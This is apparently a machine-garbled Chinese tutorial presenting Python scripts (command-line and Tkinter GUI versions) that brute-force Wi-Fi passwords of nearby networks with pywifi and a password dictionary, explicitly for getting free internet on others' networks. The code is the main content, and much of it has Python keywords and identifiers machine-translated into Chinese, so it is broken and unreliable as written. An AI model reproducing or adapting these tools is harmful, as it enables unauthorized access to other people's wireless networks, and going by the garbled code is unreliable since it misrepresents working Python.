前言
本文将记录学习下如何通过计算机编程语言脚本实现无线局域网(无线保真的缩写)密码的暴力破解,从而实现免费蹭网。
无图形界面
先来看看没有图形界面版的爆破脚本。
无线局域网(无线保真的缩写)爆破
从pywifi导入导入py wifi导入时间导入日期时间
# 测试连接,返回链接结果极好的连接(残疾人):#抓取网卡接口wifi=pywifi .PyWiFi() #获取第一个无线网卡iface=wifi。接口()[0]#断开所有连接iface。断开()时间。睡眠(1)wifi状态=iface。如果wifi状态==常量,则为status().IFACE_DISCONNECTED: #创建无线局域网(无线保真的缩写)连接文件profile=pywifi .个人资料()#要连接无线局域网(无线保真的缩写)的名称profile.ssid=Tr0e #网卡的开放状态profile.auth=const .AUTH_ALG_OPEN # wifi加密算法,一般无线局域网(无线保真的缩写)加密算法为wps profile.akm.append(const .AKM_TYPE_WPA2PSK) #加密单元profile.cipher=常量.密码类型CCMP #调用密码profile.key=pwd #删除所有连接过的无线局域网(无线保真的缩写)文件iface。remove _ all _ net _ profiles()#设定新的连接文件TEP _个人资料=我的面孔。add _ network _ profile(个人资料)I faces。连接(TEP个人资料)# wifi连接时间时间。睡觉(2)如果我面对。status()==const .IFACE _ CONNECTED:return True else:return False else:print(已有无线局域网(无线保真的缩写)连接")
# 读取密码本def读取密码():success=False print(* * * * * * * * * * * * * * * * * * WIFI破解* * * * * * * * * * * * * * * * * ) # 密码本路径path=pwd.txt #打开文件file=open(路径,r )start=datetime.datetime.now()而True: try: pwd=file.readline() #去除密码的末尾换行符pwd=pwd . strip(
)bool=wifi连接(pwd)if bool:print([*]密码已破解:,pwd)打印([*] WiFi已自动连接!")成功=真断否则:#跳出当前循环,进行下一次循环打印("正在破解服务集标识符(服务集标识符的缩写)为%s的无线局域网(无线保真的缩写)密码,当前校验的密码为:% s %(Tr0e ,pwd))除:继续结束=日期时间。日期时间。now()if(成功):print([*]本次破解无线局域网(无线保真的缩写)密码一共用了多长时间:{ } 。格式(结束-开始))否则:打印([*]很遗憾未能帮你破解出当前指定无线局域网(无线保真的缩写)的密码,请更换密码字典后重新尝试!")退出(0)
if _ _ name _ _==_ _ main _ _ :读取密码()
代码运行效果:
脚本优化
以上脚本需内嵌无线局域网(无线保真的缩写)名、爆破字典路径,缺少灵活性。下面进行改造优化:
从pywifi导入常量导入py wifi导入时间
# WiFi扫描模块定义wifi_scan(): #初始化wifi wifi=pywifi .PyWiFi() #使用第一个无线网卡接口=wifi。接口()[0]#开始扫描界面。scan()for I in range(4):time。睡眠(1)打印(
扫描可用无线局域网(无线保真的缩写)中,请稍后。打印(tr(3-I),end=)')
扫描完成!
'-'* 38)打印('
{:4}{:6}{}'格式('编号' '信号强度,'无线网络名')) # 扫描结果,扫描结果()返回一个集,存放的是每个无线局域网(无线保真的缩写)对象bss=interface.scan_results() #存放无线局域网(无线保真的缩写)名的集合英国标准规格中w的wifi_name_set=set()解决乱码问题wifi _ name _ and _ signal=(100 w .信号,w . ssid。编码(raw _ unicode _ escape )。解码(utf-8 ))wifi _ name _ set。添加(wifi名称和信号)#存入列表并按信号排序wifi _ name _ list=list(wifi _ name _ set)wifi _ name _ list=sorted(wifi _ name _ list,key=lambda a: a[0],reverse=True) num=0 #格式化输出while num《len(wifi _ name _ list):print(
{:《6d } {:《8d } { } format(num,wifi_name_list[num][0],wifi _ name _ list[num][1])num=1 print(-'* 38)#返回无线局域网(无线保真的缩写)列表返回无线局域网(wireless fidelity的缩写)名称列表
# WIFI破解模块def WIFI _ password _ crack(WIFI _ name):#字典路径WIFI _ DIC _ path=input(请输入用于WiFi暴力破解的本地密码字典(txt格式,每个密码占1行)的路径:)与open(wifi_dic_path,R )作为f: #遍历pwdin的密码f: #删除最后一个换行符pwd=pwd . strip(
)#创建wifi对象wifi=pywifi。PyWiFi() #创建网卡对象,对于第一个WiFi网卡interface=wifi . interfaces()[0]#断开所有wifi连接interface.disconnect() #等待其断开while interface.status ()==4: #连接时,通过循环等待其断开pass # profile=pywifi来创建连接文件(对象)。Profile() # wifi名称profile . ssid=wifi _ name # profile . auth=const . auth _ alg _ open #默认wifi加密算法profile . akm . append(const . akm _ type _ WPA2PSK)profile . cipher=const . cipher _ type _ ccmp # wifi密码profile.key=pwd #删除所有WiFi连接文件interface . remove _ all _ network _ profiles()#设置新的WiFi连接文件tmp _ profile=interface . add _ network _ profile(profile)#尝试连接interface.connect1.5: #接口状态4表示连接成功(当尝试时间大于1.5秒时,为密码错误,经测试,通常在1.5秒内连接正确密码。提高精度,可以设置为2s以上,对应的暴力破解速度会变慢。)If interface . status()==4:print(f
连接成功!密码:{ pwd } )exit(0)else:print(f
正在尝试使用密码{pwd}进行破解。end=“”)
# Main function def main (): # Exit标致Exit _ flag=0 # Target number Target _ num=-1 while not Exit _ flag:try:print(WiFi万能钥匙中心(35,-'))#调用扫描模块,返回一个排序后的wifi列表wifi_list=wifi_scan() #让用户选择要破解的wifi号码,对用户输入的号码进行判断和异常处理。Choose _ exit _ flag=0而not choose _ exit _ flag:try:target _ num=int(input(请选择您想要尝试破解的wifi:))#如果要选择的WiFi号在列表中,则继续第二次判断,否则,如果target _ num在范围内则重新输入(len (WiFi _ list)): #两次确认而不选择_ exit _ flag:try:choose=str(input(f 您选择破解的wifi名称为:{wifi _ list [target _ num] [1]},您确定吗?(是/否))#小写用户输入,并判断是否选择。lower()==y :choose _ exit _ flag=1elifchoose。lower()==n :break #处理用户输入的其他字母else:print(您只能输入Y/N oh o(* ~ ~ o ~经办用户除值以外的非字母输入错误:打印(只有Y/N哦o(* ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄))除值错误:打印(您只能输入数字O(* ~ ~ O ~ O ~ O ~ O ~ O ~ O ~ O ~ O ~ O ~ O ~ O。
if __name__=='__main__' main()
该脚本运行如下:
上面的代码根据信号强度枚举了附近所有的WIFI名称,并允许用户自主选择需要暴力破解的WIFI。同时可以灵活指定暴力破解的字典,提升了体验。也可以将上述脚本打包生成一个exe文件,双击运行如下:
图形界面
以下基于Python的GUI图形界面开发库Tkinter对上述脚本进行了优化,实现了一个友好的可视化WIFI暴力破解界面工具。
简单用户界面
从tkinter导入*从pywifi导入构成导入py wifi导入时间
# 主要步骤:#1、获取第一个无线网卡#2、断开所有的wifi#3、读取密码本#4、设置睡眠时间def wificonnect(str,wifiname): #窗口无线对象wifi=pywifi .PyWiFi() #抓取第一个无线网卡iface=wifi。接口()[0]#断开所有的wifi I faces。断开()时间。睡觉(1)如果我面对。status()==const .IFACE_DISCONNECTED: #创建无线局域网(无线保真的缩写)连接文件profile=pywifi .个人资料()个人资料。ssid=wifi名称# wifi的加密算法追加(常量.AKM_TYPE_WPA2PSK) # wifi的密码profile.key=str #网卡的开发profile.auth=const .AUTH_ALG_OPEN #加密单元,这里需要写点加密单元否则无法连接profile.cipher=常量.密码类型CCMP #删除所有的无线局域网(无线保真的缩写)文件iface。remove _ all _ net _ profiles()#设置新的连接文件TEP _个人资料=我的面孔。添加网络配置文件(配置文件)#连接我面对。连接(TEP个人资料)时间。睡觉(3)如果我面对。status()==const .IFACE_CONNECTED:返回真实的否则:返回错误的
def readPwd(): #获取wiif名称wifiname=entry.get().strip()path=r /pwd . txt file=open(路径,r )同时为真:尝试:#读取mystr=file.readline().strip() #测试连接bool=wificonnect(mystr,wifi名称)if bool:text。插入(END,密码正确mystr)文本。参见(结束)正文。更新()文件。close()break else:text。插入(END,密码错误mystr) text.see(END) text.update()除了:继续
# 创建窗口root=Tk()root . title(无线局域网(wireless fidelity的缩写)破解)root . geometry(500x400 )#标签label=Label(root,text=输入要破解的无线局域网(无线保真的缩写)名称:')# 定位标签。grid()#输入控件entry=Entry(root,font=(微软雅黑,14))entry.grid(row=0,column=1)#列表控件text=Listbox(root,font=(微软雅黑,14),宽度=40,高度=10)text.grid(row=1,columnspan=2)#按钮button=Button(root,text=开始破解,宽度=20,高度=2,命令=readPwd)button.grid(row=2,columnspan=2)#显示窗口root.mainloop()
脚本运行效果:
用户界面升级版
以上图形界面未允许选择密码字典,下面进行优化升级:
来自tkinter导入*来自导入ttk导入pywififrom py wifi导入consimport时间导入。文件对话框#在图形用户界面中打开文件浏览导入tkinter.messagebox #打开tkiner的消息提醒框
class MY_GUI(): def __init__(self,init _ window _ name):self。初始化窗口名称=初始化窗口名称#密码文件路径self.get_value=StringVar() #设置可变内容# 获取破解无线局域网(无线保真的缩写)账号自我。get _ wifi _ value=string var()#获取无线局域网(无线保真的缩写)密码自我。get _ wifi mm _ value=string var()#抓取网卡接口self.wifi=pywifi .PyWiFi() #抓取第一个无线网卡自我。iface=self。wifi。接口()[0]#测试链接断开所有链接自我。iface。断开()时间。睡眠(1)#休眠一秒# 测试网卡是否属于断开状态在【常数。可执行程序的扩展名中断言self.iface.status().IFACE_DISCONNECTED,const .IFACE_INACTIVE]
def __str__(self): #自动会调用的函数,返回自身的网卡return (WIFI:%s,% s)% (self.wifi,self.iface.name())
# 设置窗口def set _ init _ window(self):self。初始化窗口名称。标题(无线局域网(wireless fidelity的缩写)破解工具")自我。初始化窗口名称。几何(500 200 ')label frame=label frame(宽度=400,高度=200,text=配置") # 框架,以下对象都是对于标签框架中添加的labelframe.grid(列=0,行=0,padx=10,pady=10)self。search=Button(标签框,text=搜索附近WiFi”,command=self.scans_wifi_list).网格(列=0,行=0)自身。pojie=Button(标签框,text=开始破解"command=self.readPassWord).网格(列=1,行=0)自身。Label=Label(标签框架,text=目录路径:).网格(列=0,行=1)自身。path=Entry(label frame,width=12,textvariable=self.get_value).网格(列=1,行=1)自身。file=Button(标签框,text=添加密码文件目录"command=self.add_mm_file).网格(列=2,行=1)自身。WiFi _ text=Label(Label frame,text=无线局域网(wireless fidelity的缩写)账号:).网格(列=0,行=2)自身。wifi _ input=Entry(标签帧,宽度=12,文本变量=self。get _ wifi _ value).网格(列=1,行=2)自身。WiFi _ mm _ text=Label(Label frame,text=无线局域网(wireless fidelity的缩写)密码:).网格(列=2,行=2)自身。wifi _ mm _ input=Entry(标签帧,宽度=10,文本变量=self。get _ wifi mm _ value)。网格(列=3,行=2,粘滞=W)自身。wifi _ label frame=label frame(text=无线局域网(wireless fidelity的缩写)列表”)自我。wifi _标签框。grid(列=0,行=3,列跨度=4,粘性=NSEW) #定义树形结构与滚动条self.wifi_tree=ttk .Treeview(self.wifi_labelframe,show=标题,列=(a ,b ,c ,d ))self.vbar=ttk .滚动条(self.wifi_labelframe,orient=VERTICAL,command=self。wifi _树。y观)自我。wifi _树。configure(yscroll命令=self。vbar。设置)#表格的标题self . wifi _ tree . column(a ,宽度=50,锚=中心)自我。wifi _树。列(b ,宽度=100,anchor=中心)自我。wifi _树。列(c ,宽度=100,anchor=中心)自我。wifi _树。列(d ,宽度=100,anchor=中心)自我。wifi _树。标题(a ,text=wifi id )自我。wifi _树。标题(b ,text=SSID )self.wifi
# 搜索无线局域网(wireless fidelity的缩写)定义扫描_ wifi _列表(自身):#扫描周围无线局域网(无线保真的缩写)列表# 开始扫描打印("^_^开始扫描附近无线网络.睡眠”)自我。iface。扫描()时间。睡眠(15)#在若干秒后获取扫描结果扫描结果=自身。我面对。scan _ results()#统计附近被发现的热点数量nums=len(scanres)print(数量:% s % (nums)) #实际数据自我。show _ scans _ wifi _ list(scanres)return scanres
# 显示无线局域网(无线保真的缩写)列表def show_scans_wifi_list(self,scans_res):对于index,枚举中的wifi _ info(scans _ RES):self。wifi _树。插入(,'end ,values=(index 1,wifi_info.ssid,wifi_info.bssid,wifi_info.signal))
# 添加密码文件目录def add _ mm _ file(自身):自身。filename=tkinter。文件对话框。askopenfilename()self。获取_值。设定(自我。文件名)
#树形视图绑定事件def onDBClick(self,event):self。sels=事件。小部件。selection()自身。get _ wifi _ value。设定(自我。wifi _树。项目(自我。sels,价值观)[1])
# 读取密码字典,进行匹配def读取密码(self):self。getfile path=self。获取_值。get()self.get_wifissid=self。get _ wifi _ value。get()pwd file hander=open(self。getfile路径。r ,错误=忽略)而真:试:自我。文件处理器。读取线()如果不是自我。pwd str:打破自我。bool 1=self。连接(自我。pwd字符串,self。get _ wif issid)如果self . bool 1:self . RES=[*]密码正确!无线局域网(无线保真的缩写)名:%s,匹配密码:% s % (self.get_wifissid,self。pwd str)自身。获取IMM值。设定(自我。pwd str)tkinter。messagebox。showinfo(提示' '破解成功!')打印(自我。RES)打破else:self。RES=[*]密码错误!无线局域网(无线保真的缩写)名:%s,匹配密码:% s % (self.get_wifissid,self。pwd str)打印(自身。RES)时间。睡眠(3)除:继续
# 对无线局域网(无线保真的缩写)和密码进行匹配定义连接(self,pwd_Str,wifi_ssid): #创建无线局域网(无线保真的缩写)链接文件self.profile=pywifi .个人资料()自我。侧写。ssid=wifi _ ssid # wifi名称self.profile.auth=const .AUTH_ALG_OPEN #网卡的开放self.profile.akm.append(常量. AKM_TYPE_WPA2PSK) # wifi加密算法self.profile.cipher=const .密码类型CCMP #加密单元self.profile.key=pwd_Str #密码自我。我面对。remove _ all _ net _ profiles()#删除所有的无线局域网(无线保真的缩写)文件自我。tmp _ profile=self。iface。add _ network _ profile(自我。简介)#设定新的链接文件自我。iface。连接(自我。tmp _ profile)#链接时间。睡眠(5)如果自己。iface。status()==const .IFACE_CONNECTED: #判断是否连接上isOK=真实的else:isOK=虚假的自我。我面对。断开()#断开time.sleep(1) #检查断开状态在【常数。可执行程序的扩展名中断言self.iface.status().IFACE_DISCONNECTED,const .IFACE_INACTIVE] return isOK
def GUI _ start():init _ window=Tk()ui=MY _ GUI(init _ window)打印(ui)ui。set _ init _ window()初始化窗口。主循环()
if _ _ name _ _==_ _ main _ _ :GUI _ start()
脚本运行效果如下:
以上基于计算机编程语言的图像使用者界面图形界面开发库Tkinter,实际上计算机编程语言的图像使用者界面编程可以借助PyQt5来自动生成用户界面代码。
总结
本文学习了计算机编程语言暴力破解无线局域网(无线保真的缩写)密码的方法、以及Python GUI图形化编程的基础使用。所演示的代码的不足在于均没有使用多线程进行无线局域网(无线保真的缩写)连接测试,实际上因为无线局域网(无线保真的缩写)连接测试需要一定的耗时(3-5秒),故使用多线程将能减少暴力破解过程的等待时间。
原文链接:https://博客。csdn。net/weixin _ 39190897/文章/详情/119778471
日本季刊日本季刊